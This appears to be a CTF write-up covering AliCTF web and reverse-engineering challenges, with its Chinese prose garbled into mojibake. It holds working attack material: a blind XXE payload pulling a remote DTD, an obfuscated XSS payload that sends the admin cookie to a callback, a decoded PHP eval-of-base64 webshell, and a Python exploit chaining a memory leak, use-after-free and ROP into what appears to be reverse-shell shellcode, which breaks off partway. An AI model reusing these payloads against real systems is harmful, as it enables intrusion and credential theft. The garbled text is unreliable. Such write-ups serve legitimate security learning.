<p>å¼å§æè§æ¯XXE,ååå®¢æ¸©ä¹ äºä¸,è¯äºä¸äºPayload齿²¡ååº,æ è§£.</p>
<p>忥æä¸Blind XXE,çå°Black-Hat 13å¹´æä¸ªReport,åæç´¢å°è¿ä¸ªå客</p>
<p><a href="http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html">http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html</a></p>
<p><img src="/img/alictf-weba-300-01.png" alt="img"></p>
<p>åå¾å°Wooyunä¸é²æç½çä¸ä¸ªå®ç°,æµè¯</p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx/xxe/flag.xml">
%remote;
]></code></pre>
<p>çå°æ¥å¿äº,ç¨file://读ä¸å°æä»¶,以php://filter读,请æ±åçä¸ä¸ªlog.php</p>
<pre><code><?php
$log=$_GET['c'];
file_put_contents('233.txt',$log);
?></code></pre>
<p><img src="/img/alictf-weba-300-02.png" alt="img"></p>
<p>è§£ç å¾å°flag</p>
<hr>
<h5 id="toc_8">WebA-400</h5>
<blockquote>
<p>Casperåå¦äºç¹é»å®¢ææ¯ï¼å°±æ³æ¾ä¸ªç«ç¹ç»ç»æï¼åç°ä¸ä¸ªé¡µé¢å¥½å¥æªï¼ä½ è½å¸®ä»ä¸æ¢ç©¶ç«åï¼ <br /> hintï¼ççç®å½æå¥ï¼<br /> ä¸å
è¦çç®å½æä»ä¹ï¼æ³è¦æ´å¤ä¿¡æ¯ä¹è¦å¤ççGithubå¦ã<br /> 请æç
§x64çæ¹å¼å»æèåé¢ã<br /> http://web400a.alictf.com/f3f4d762e85fa426dd926629bff7788b.php </p>
</blockquote>
<p>请æ±é¡µé¢æå
,å¯ä»¥çå°Upload表å</p>
<pre><code><form action="http://web400a.alictf.com/f3f4d762e85fa426dd926629bff7788b.php" method="post"enctype="multipart/form-data">
<label for="file">hi</label><br />
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Submit">
</form></code></pre>
<p>é便ä¸ä¼ ä¸ä¸ªæä»¶,鮿¯å¦åå¨è¿ä¸ªæä»¶,å¹¶ç»åºå°å(å½åæ¶é´:å¹´ææ¥æ¶åç§)å¦20140921154012.php,å½ç¶æå·¥è¯·æ±æ¯404äº,çæ³å¯è½ä¸ä¼ åè¢«å æ,æµè¯èæ¬ä¸ç´æ£æ¥æç¶æ¯è¿æ ·.</p>
<p>使ç¨Burpå¼Instruderæç»åå
请æ±,ç¶ååèæ¬æ¥çè¿å:</p>
<pre><code>#!/usr/bin/python
import time
import requests
while 1:
url = "http://web400a.alictf.com/upload/upload/"
now = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
url = url + str(now) + ".php"
res = requests.get(url)
print res.status_code
if res.status_code == 200:
print res.text
time.sleep(0.3)</code></pre>
<p>读åå°é¢ç®é¡µé¢å
容</p>
<p><img src="/img/alictf-weba-400-01.png" alt="img"></p>
<pre><code><? php
header("Location:http://security.alibaba.com");
if($_FILES["file"]["error"] > 0){
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}else{
$name = date('YmdHis');
$uploaddir = '/home/wwwroot/default/upload/upload/';
$uploadfile = $uploaddir . $name . '.php';
if(move_uploaded_file($_FILES["file"]["tmp_name"], $uploadfile)){
echo "upload/upload/". $name . ".php file Exist?";
}else{
echo "";
}
sleep(3);
# unlink($uploadfile);
}
?>
\<!--
@author:nidongde
\-->
<form action="f3f4d762e85fa426dd926629bff7788b.php" method="post"enctype="multipart/form-data">
<label for="file">hi</label><br />
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Submit">
</form></code></pre>
<p>LNMPç¯å¢,读å°PHP.ini,ç¦ç¨å¾å¤å½æ°,ä¸è¿å¯ä»¥åç®å½è¯»æä»¶å°±å¤äº,读æä»¶ç¨readfile,åç®å½ç¨</p>
<pre><code><?php $dir = opendir('./../');while (($file = readdir($dir)) !== false){ echo $file.'<br />';}closedir($dir);?></code></pre>
<p>å¨ä¸ä¸å±uploadç®å½è¯»å°å«å®¶å©åçshell,以åæç»å æä»¶çlalala.pyèæ¬,è¿ä¸shellå¨ç½ç«æ ¹ç®å½ä¸è½½å°ä¸ä¸ªå缩å
,æ ¹æ®æ¶é´å¤æä¸æ¯çå©åå¨ä½æª</p>
<p><img src="/img/alictf-weba-400-02.png" alt="img"></p>
<p>ä¸è½½åè§£ååéè¦å¯ç ,è¯äºå ä¸ªæ æå°±æ¾ä¸è¾¹äº,第äºå¤©çå°Hint,说ç®å½ä»¥åGithub,æ£å¥½web400bçæ¥å¿éæå¾å¤ç®å½,对æ¯å°è¯åæ¾å°è¿ä¸ªå¥è©è´¦å·</p>
<p><img src="/img/alictf-weba-400-03.png" alt="img"></p>
<p>以为æ¯key,æäº¤ä¸ºé,æ³èµ·æ¯è§£åå¯ç ,è§£åæä»¶,å¾å°ä¸ä¸ªindex.phpæºç å.DS_Store.(åºé¢äººå缩软件ä¸å®æ²¡è®¾ç½®å¥½...å»ºè®®ä½ ä½¿ç¨BetterZip ;)</p>
<pre><code><?php
foreach($_REQUEST as $key => $value){
if(eregi('^(_COOKIE|GLOBALS|_GET)', $key) || strlen($key) <= 0){
exit('error');
}else{
foreach(Array('_GET', '_POST', '_COOKIE') as $_REQUEST){
var_dump($key);
foreach($$_REQUEST as $key => $value){
var_dump($value);
$value['alibaba']['security'] = (int)$value['alibaba']['security'];
echo $value['alibaba']['security'];
echo $key;
if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){
find_flag($value['alibaba']['security']);
}else{
exit('error');
}
}
}
}
}
function find_flag(){
$key = 'FLAG';
echo $key;
}
?>
\<html>
<body>
<!-- http://web400b.alictf.com/alibaba_CTF_security/-->
</body>
\</html></code></pre>
<p>é¦å
å¯ä»¥ç¥éæ¯éè¿POST请æ±,å å
¥ä»¥ä¸ä»£ç æµè¯è¾åº,</p>
<pre><code>foreach(Array('_GET', '_POST', '_COOKIE') as $_REQUEST){
var_dump($key);
foreach($$_REQUEST as $key => $value){
var_dump($value);</code></pre>
<p>å¨POSTåæ°ä¸º_POST[alibaba][security]=xxxæ¶å¯ä»¥æ£ç¡®èµå¼å¹¶æ»¡è¶³$key == '_POST' && strlen($value['alibaba']['security']) >= 0</p>
<p>ä¹å便è¦éè¿~$value['alibaba']['security'] == -2347230984235</p>
<p>intåå¨32使ºå¨ä¸æå¤§ä¸º-2116126678~2147483647,è¯å®æç»è¿æè·¯,æ³æ³æ¯==æ¯è¾è¿ç¨ä¸,å·¦å³ä¸¤è¾¹ç±»åä¸åä¼å°å³è¾¹çfloatå转æ¢ä¸ºintå,ä¸å·¦è¾¹çint忝è¾,è¿æ ·å¯è½å¯ä»¥Bypass,åè¦æµè¯,çå°ç¾¤æ¶æ¯è¯´åæ¢ä¸º64ä½,就赶紧ç§äº...</p>
<p><img src="/img/alictf-weba-400-04.png" alt="img"></p>
<p>æ¥çè¯äºä¸ä¸ååçæ³æ³,è¿æ¯æ²¡éè¿.åç宿¹çWannabe.</p>
<hr>
<h5 id="toc_9">WebA-500</h5>
<blockquote>
<p>æåæ¬¢ä½ ä»¬è¿äºè·¨ç«å¸ <br /> http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php </p>
</blockquote>
<pre><code>Function("ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ".replace(/.{8}/g,function(u){return String.fromCharCode(parseInt(u.replace(/\u200c/g,1).replace(/\u200d/g,0),2))}))();
String.prototype.remove = function(start, length) {
var l = this.slice(0, start);
var r = this.slice(start+length);
return l+r;
}
function xescape(input) {
rawinput = input;
input = input.replace(/<([a-zA-Z])/g, '<_$1');
input = input.toUpperCase();
input = input.remove(2,1);
if(rawinput.length != input.length){input = "";}
return "<h1>"+input+"<h1>";
}
document.write(xescape(''));
<br>请使ç¨chromeåæµè¯ï¼flagå¨ç®¡çåçcookieä¸<br>
<br>example:php?code=xxxxx<br>
<a href="4a924593e74f6b64d205fe248cefad33.php">urlæäº¤</a></code></pre>
<p>é¦å
ç»è¿</p>
<pre><code>Function("xxxxxââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ".replace(/.{8}/g,function(u){return String.fromCharCode(parseInt(u.replace(/\u200c/g,1).replace(/\u200d/g,0),2))}))();</code></pre>
<p>鲿¢è·³è½¬,è¿éxxxxxå 为ä¹åçå
容没è½ä¿åä¸è½½(åºä¹±ç äº:( ),ä¸è½å¤ç°</p>
<p><img src="/img/alictf-weba-500-01.png" alt="img"></p>
<p>彿°ä¼æ£æ¥urlæåæ¯å¦æhelloalibaba,å¨location.hashéå ä¸#helloalibabaå³å¯é¿å
跳转.</p>
<p>xescape彿°è¢«å®æ¹ä¿®æ¹è¿,å¦æä¼ å
¥ç±»ä¼¼a<img,ç¬¬ä¸æ¥ä¼è¢«åæa<_img,remove(2,1)åå é¤ä¸å线,é¿åº¦æ²¡æåå,è½¬æ¢æå¤§åé¨å使ç¨htmlç¼ç ç»è¿.</p>
<p>payload:</p>
<pre><code>http://web500a.alictf.com/e936a8a8ff906c8f057ed84bf4332585.php?code=a<\img src=1 onerror=&#101&#118&#97&#108&#40&#39\\144\\157\\143\\165\\155\\145\\156\\164\\56\\167\\162\\151\\164\\145\\50\\47xxxxåè°xxxx\\75\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\141\\156xxxxåè°xxxx\\163\\143\\162\\151\\160\\164\\76\\47\\51&#39)>#helloalibaba</code></pre>
<p>urlç¼ç åæäº¤æ¶ä¿¡,å¾å°flag.</p>
<hr>
<h4 id="toc_10">0x03 Reverse</h4>
<h5 id="toc_11">Reverse-100</h5>
<blockquote>
<p>ch1.exe伿è·åå°çä¿¡æ¯å å¯åå¨å°"secret.db"æä»¶ä¸ã<br />æ¾åºå å¯çkey,å å¯çkeyæäº¤æå¡å¨å³ä¸ºå¾åçflag.<br />é¢ç®ä¸è½½å°å:ç¹å»ä¸è½½</p>
</blockquote>
<p>ch1.exeè¿ä¸ªç¨åºä¼æé主æºä¿¡æ¯,OD卿è°è¯<br />è·åæ¬å°æµè¯ä¸»æºä¿¡æ¯åä¼å°ä¸»æºä¿¡æ¯åè¿ä¸ªå符串è¿è¡å å¯</p>
<p><img src="/img/alictf-re-100-01.png" alt="img"></p>
<p>ä¹åå¨å½æ°sub_4225e0ä¸è¿è¡å å¯</p>
<p><img src="/img/alictf-re-100-02.png" alt="img"></p>
<p>ä¸è¿ä¸éè¦åæå å¯è¿ç¨äº,å串</p>
<pre><code>19dlo*%AO+3i87BaweTw.lc!)61K{9^5</code></pre>
<p>å°±æ¯flag</p>
<hr>
<h5 id="toc_12">Reverse-200</h5>
<blockquote>
<p>éååæCh3.exeï¼ç¹å»Ch3.exeä¸çbuttonä¼å¾åä¸ä¸ªkeyã<br />ç¨åºå¥½åæé®é¢ï¼è¯·ä¿®æ¹å¹¶ç»åºç»æã<br />é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>è¿è¡Ch2.exe,åç®å½ä¸çflag.cryptæä»¶å¤§å°ä¼ä»1kbå为0kbï¼çæ³è§£é¢æè·¯è¦ä¹æ¯ç¨åºæä¾è§£å¯å½æ°éè¦æå·¥å®å,è¦ä¹æ¯éåç®æ³.</p>
<p>æ²¡ææ¾å°decrypt彿°,çæ³æ¯è¦éåç®æ³,è¿è¡å 次ååç°åç®å½ä¸éè¦æä¸ä¸ªflag.txt,äºæ¯æflag.cryptæä»¶ä¿®æ¹ä¸ºflag.txt,è¿å
¥å°encrypt彿°ã</p>
<p>å¨IDA Proä¸å®ä½ï¼è§å¯å°æä¸äºå¹²æ°æä»¤çåå¨</p>
<p><img src="/img/alictf-re-200-01.png" alt="img"></p>
<p>ç¨010 editorå
¨é¨æ¿æ¢ä¸º\x90ä¹å,IDA Proå¯ä»¥æ¾ç¤ºæ£å¸¸ç代ç ,F5æ¥çåç¼è¯æ
åµ,åæååç°å彿°sub_00401000ä¸å
å«äºå å¯ç®æ³</p>
<p><img src="/img/alictf-re-200-02.png" alt="img"></p>
<p>å
³é®çç®æ³åªæè¿å è¡</p>
<p><img src="/img/alictf-re-200-03.png" alt="img"></p>
<p>ç¨UltraEditæ¥çflag.cryptæä»¶,大å°ä¸º40个åè,ç»åç®æ³åæ,æ¯ç±20个åèæ¯ä¸ªåèçé«ä½åä½ä½æ©å¼ 徿¥.<br />è¿åå¾å°flag</p>
<pre><code>a1dlo3i87@vt(#$^~kb25-+8=csm,%*4</code></pre>
<hr>
<h5 id="toc_13">Reverse-300</h5>
<blockquote>
<p>éååæCh3.exeï¼ç¹å»Ch3.exeä¸çbuttonä¼å¾åä¸ä¸ªkeyã<br />ç¨åºå¥½åæé®é¢ï¼è¯·ä¿®æ¹å¹¶ç»åºç»æã<br />é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>X64ä¸å äºå£³,ç½ä¸æ¾å°UPXShell.exeæå£³ç»è±äº,å¨å´©æºç¹å䏿¾ï¼åç°ä¸æ®µä»£ç :</p>
<p><img src="/img/alictf-re-300-01.png" alt="img"></p>
<p>徿æ¾,ç¨åºæ¾ç¤ºå è½½DecryptDll.dll,ç¶å寻æ¾dllä¸çRSADecrypt彿°,æåæå¾è°ç¨å®.</p>
<p>使¯æ²¡æDecryptDll.dll,èªç¶å°±å¯»æ¾ä¸å°RSADecrypt彿°,å°±ä¼åçä¸ä¸ªé误çè°ç¨.</p>
<p>æ¾æ¥æ¾å»è´¹äºå¥½é¿æ¶é´,å°±è¯äºä¸æ¯å¦å¨ç¨åºéé¢,ææ®µæè¿binwalk</p>
<p><img src="/img/alictf-re-300-02.png" alt="img"></p>
<p>æååºæ¥åæè¿IDAä¸ç,就导åºäºRSADecrypt彿°</p>
<p><img src="/img/alictf-re-300-03.png" alt="img"></p>
<p>卿§è¡æ¶ä¿®æ¹ä¸R8å¯åå¨çå¼ä½¿å
¶æåä¸åå¯åå
å,è°ç¨åflagå°±ä¼åºç°å¨R8å¯å卿åçå°æ¹.</p>
<hr>
<h5 id="toc_14">Reverse-400</h5>
<blockquote>
<p>Casper使ç¨è¿æ§æ¨é©¬çæ§å¶ç«¯çæäºä¸ä¸ªæ¨é©¬trojan.exeã<br /> ä½Casperåç°è¿ä¸ªè¿æ§æ¨é©¬æ§å¶ç«¯ä¼¼ä¹æä¸ä¸ªå¯ççä¸è½½æ¥å£ã<br /> å¯ä»¥éè¿æ¨é©¬trojan.exeå»è°ç¨è¿ä¸ªæ¥å£ä¸è½½å°æ§å¶ç«¯çsecret.raræä»¶ã<br /> 让æä»¬æ¥å°è¯ä¸è½½æ§å¶ç«¯çsecret.raræä»¶å§ï¼ççæä»ä¹ç§å¯ã<br /> hintï¼å¦ææ¾å°ä¸è½½æ¥å£ï¼ä¸è½½secret.rar䏿åï¼å¯ä»¥è¯è¯è¿æ¥88端å£ã<br /> é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>Reverse400è´¹äºå¥½é¿æ¶é´,æååå°æ¶æå¼åºæ¥.</p>
<p>ä¸å¼å§æ³çå¤ªå¤æ,æ³ä»æ§å¶ç«¯åæ¨é©¬çéä¿¡åè®®å
¥æ,ç¶åååææ§å¶ç«¯åæ¨é©¬å¯¹äºä¸åæ°æ®çæ§è¡æ
åµ.ç»æå¼äºå¥½ä¹
è¿æ¯æ²¡æå¤ªæç½...</p>
<p>æåæ èéåå»ºè®®ç´æ¥ä¿®æ¹sub_405D10彿°ä¸çcase跳转è¯ä¸,è½ç¶å¾æ©å°±ç¥é飿¡è·¯å¾æ¯å¤çSecret.raræä»¶ç彿°,ä½ä¸ç´ä»¥ä¸ºé£æ¯ä¸è½½åçå¤çæµç¨,èçæ£ä¸è½½çæµç¨åºè¯¥å¨åé¢.è°ç¥éç«ç¶ççå¯ä»¥...</p>
<p><img src="/img/alictf-re-400-01.png" alt="img"></p>
<p>ä¿®æ¹åå¾å°Secret.rar</p>
<p>è§£å忝webåç»éå,æå¿«ç卿å45åéæ¶å°æä»¶.æå¼å±
ç¶æ¯html,çå°</p>
<pre><code><?php include "img/aliyun.png" ?></code></pre>
<p>å¾çæå
æ¶µ,å¾å°</p>
<pre><code><?php
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 0, 24, 72, 70, 28, 48, 19, 12, 0, 7, 5, 37, 0, 24, 88, 87, 0, 24, 72, 12, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 93, 18, 87, 66, 28, 18, 45, 37, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 93, 18, 87, 40, 28, 18, 17, 5, 42, 25, 37, 91, 0, 12, 25, 87, 0, 24, 72, 91, 28, 48, 19, 49, 11, 25, 37, 91, 63, 75, 68, 87, 42, 24, 60, 87, 93, 18, 87, 5, 28, 48, 19, 66, 63, 50, 5, 49, 42, 25, 37, 91, 63, 24, 90, 87, 42, 24, 60, 87, 63, 18, 58, 87, 93, 18, 0, 37, 28, 48, 19, 66, 0, 25, 37, 91, 63, 24, 90, 87, 42, 24, 60, 87, 0, 24, 72, 91, 28, 48, 19, 40, 42, 25, 5, 70, 42, 50, 5, 70, 63, 7, 37, 91, 63, 83, 68, 87, 42, 24, 60, 87, 93, 18, 11, 66, 28, 18, 81, 7, 28, 48, 19, 7, 0, 7, 37, 91, 63, 18, 43, 87, 93, 18, 81, 70, 28, 18, 17, 37, 0, 50, 37, 91, 63, 83, 63, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 0, 24, 72, 70, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 37, 0, 18, 58, 87, 63, 24, 50, 87, 0, 24, 17, 5, 28, 48, 19, 40, 63, 7, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 18, 17, 37, 63, 58, 5, 7, 0, 25, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 48, 19, 49, 63, 58, 5, 37, 0, 18, 58, 87, 93, 18, 0, 7, 28, 48, 19, 40, 11, 7, 37, 91, 63, 66, 50, 87, 93, 18, 1, 31, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 18, 75, 49, 28, 48, 19, 12, 0, 25, 37, 91, 0, 12, 50, 87, 93, 18, 11, 37, 28, 48, 19, 7, 63, 50, 5, 70, 63, 7, 37, 91, 63, 75, 63, 87, 93, 18, 81, 70, 28, 48, 19, 40, 0, 58, 5, 70, 63, 7, 37, 91, 63, 83, 68, 87, 42, 24, 60, 87, 93, 18, 11, 66, 28, 48, 19, 66, 0, 25, 5, 91, 0, 7, 37, 91, 63, 18, 43, 87, 93, 18, 81, 70, 28, 18, 17, 37, 0, 50, 5, 70, 42, 25, 37, 91, 63, 18, 90, 87, 63, 12, 58, 87, 93, 18, 45, 66, 28, 48, 19, 40, 0, 7, 37, 91, 63, 75, 1, 87, 0, 24, 72, 70, 80, 58, 66, 3, 86, 24, 14, 19, 6, 11, 73, 73, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++)
{$do_me=$do_me.$terms[$order[$i]];}
echo $do_me;
?></code></pre>
<p>好çæ,ä¸é´æè·¯è¯·åèhttp://drops.wooyun.org/tips/2988</p>
<p>èªå·±è§£ç ä¹å¾ç®å,å¾å°</p>
<pre><code>if(isset($_POST["\109\x33\110\103\x44\79\x54\x74\51\x44\79\x54\x76\109\x35\108\x7A\x6B\97\x70\x44\79\x54\97\49\x31\x41\x54\97\108\x69\98\97\x62\97\x44\65\x53\x48\x69\110\x63\x44\79\x54\99\x6F\109"])) { eval(base64_decode($_POST["\109\51\110\x67\x44\79\x54\116\51\x44\79\x54\x76\109\x35\x6C\x7A\x6B\97\x70\x44\79\x54\97\x31\x31\x41\x54\97\x6C\x69\x62\97\x62\97\x44\x41\83\x48\x69\110\99\x44\79\x54\x63\x6F\109"])); }</code></pre>
<p>é»é»çechoåç°ä¸å¯¹,颤æ çåæé»é»çççè§£ä¸åºæ¥çå¼,说好çå
«è¿å¶æä¹ä¼æ9å¢...éå说,ä¸è¦å¤ªè®¤ç,æä»å½10è¿å¶ASCIIçå¾
å§...äºæ¯æå°±é»é»ä¿¡äº...</p>
<p>æç»ä¸ä¸ªäººå¾å°ä¸åçå¥è©çæ¬,ä¸ç»¼åflagå°±æäº</p>
<pre><code>m3ngD0Tt3D0Tvm5lzkapD0Ta11ATalibabaa11ATalibabaDASHncD0Tcom
m3ng.t3.vm5lzkap.a11@[email protected]
[email protected]
[email protected]</code></pre>
<hr>
<h5 id="toc_15">Reverse-500</h5>
<blockquote>
<p>请åæCh5.exeï¼è¯¥ç¨åºå¨reverse500.alictf.comä¸çå¬55555端å£ä¸åå¨å¤ä¸ªæ¼æ´ã<br />å°è¯å©ç¨è¿äºæ¼æ´æ§å¶Ch5.exeå»è¯»åæå¡ç«¯Cçæ ¹ç®å½ä¸çsucc.txtå
容并æäº¤ã<br />ç®æ æä½ç³»ç»win2008-sp2 / x32ã<br />é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>æè¿IDAä¸åæå½æ°æµç¨.ç¨åºacceptè¿æ¥åå¼å¯ä¸ä¸ªçº¿ç¨,线ç¨é¦å
建ç«ä¸ä¸ªå¤§å°ä¸º1024åèç对象A,ç¶årecv1280åèæ°æ®,è¿å
¥sub_401620彿°</p>
<p><img src="/img/alictf-re-500-01.png" alt="img"></p>
<p>å¨sub_401620彿°ä¸,ç¨åºå¯¹æ¥åæ°æ®4-8åèè¿è¡å¤æ</p>
<p><img src="/img/alictf-re-500-02.png" alt="img"></p>
<p>å½v10为0x2222æ¶callè¿sub_401270彿°</p>
<p><img src="/img/alictf-re-500-03.png" alt="img"></p>
<p>å¨sub_401270彿°ä¸,ç¨åºé¦å
å对象A+4çåç§»å°åå¤å¶0x80åèæ°æ®.ç¶åä»å¯¹è±¡A+4çåç§»å¼å§è¯»åååéæ°æ®+12çæ°éçåèæ°åå客æ·ç«¯.è对象åé
å</p>
<p><img src="/img/alictf-re-500-04.png" alt="img"></p>
<p><img src="/img/alictf-re-500-05.png" alt="img"></p>
<p>å¨å¯¹è±¡ç0x84,0x88,0x8cå°ååºåæ¾äºkernel32,ntdllå对象çå°å.æä»¥è¿ä¸ªå
åæ³æ¼æ¼æ´ç¨æ¥è¿ASLR.</p>
<p>å½v10为0x3333æ¶callè¿sub_401380彿°</p>
<p><img src="/img/alictf-re-500-06.png" alt="img"></p>
<p>è¯¥å½æ°ä¸sub_401550彿°æå¯¹è±¡Aç»éæ¾äº,ç¶åææç
§æ¥åæ°æ®æå®å¤§å°åé
äºä¸ä¸ªç©ºé´.UAF</p>
<p>å½v10为0x5555æ¶è°ç¨å¯¹è±¡Aä¸çæä¸ªè彿°</p>
<p><img src="/img/alictf-re-500-07.png" alt="img"></p>
<p>ç»å䏿¥çUAFç¨æ¥è·å¾ä»»æä»£ç æ§è¡.é¦å
æ ¹æ®æ³æ¼çåºåè¿ALSRåæé ROPè¿DEP.</p>
<p>Expå¦ä¸</p>
<pre><code>#coding:utf-8
from socket import *
import struct
s = socket(AF_INET, SOCK_STREAM)
#s.connect(('192.168.206.133', 55555))
s.connect(('42.120.63.122', 55555))
#leak memory
offset = '\x0c\x00\x00\x00'
data_type = struct.pack('I', 0x2222)
malloc_size = struct.pack('I', 0x400 + 0xc + 4)
send_data = offset + data_type
send_data += '\x90'*(0x500 - len(send_data))
s.send(send_data)
recv_data = s.recv(1024)
kernel32_base = struct.unpack('I', recv_data[0x80:0x84])[0]
nt_base = struct.unpack('I', recv_data[0x84:0x88])[0]
object_add = struct.unpack('I', recv_data[0x88:0x8c])[0]
print 'address of kernel32,ntdll,object are', hex(kernel32_base), hex(nt_base), hex(object_add)
#UAF
offset = struct.pack('I', 0x100)
data_type = struct.pack('I', 0x3333)
nop = '\x90' * (0x100 - 8)
malloc_size = struct.pack('I', 0x400 + 0x100 + 4)
send_data = offset + data_type + nop+ malloc_size
send_data += struct.pack('I', object_add+4)
send_data += '\x90'*8
#virtualprotect
send_data += struct.pack('I', kernel32_base+0x1DC3)
#xchg eax,esp; pop; pop; pop; ret 4
send_data += struct.pack('I', nt_base + 0x7907)
new_object_offset = len(offset + data_type + nop+ malloc_size)
send_data += struct.pack('I', object_add + 0x164-new_object_offset)
send_data += struct.pack('I', object_add + 0x164-new_object_offset)
send_data += struct.pack('I', 0x1000)
send_data += '\x40\x00\x00\x00'
send_data += struct.pack('I', object_add)
send_data += '\x90'*(0x164 - len(send_data))
shellcode = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
shellcode += "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
shellcode += "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
shellcode += "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
shellcode += "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
shellcode += "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
shellcode += "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
shellcode += "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
shellcode += "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
shellcode += "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
shellcode += "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
shellcode += "\x68\x17\x58\xe5\x74\x68\x02\x00\xfc\x15\x89\xe6\x6a\x10\x56"
shellcode += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
shellcode += "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
shellcode += "\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
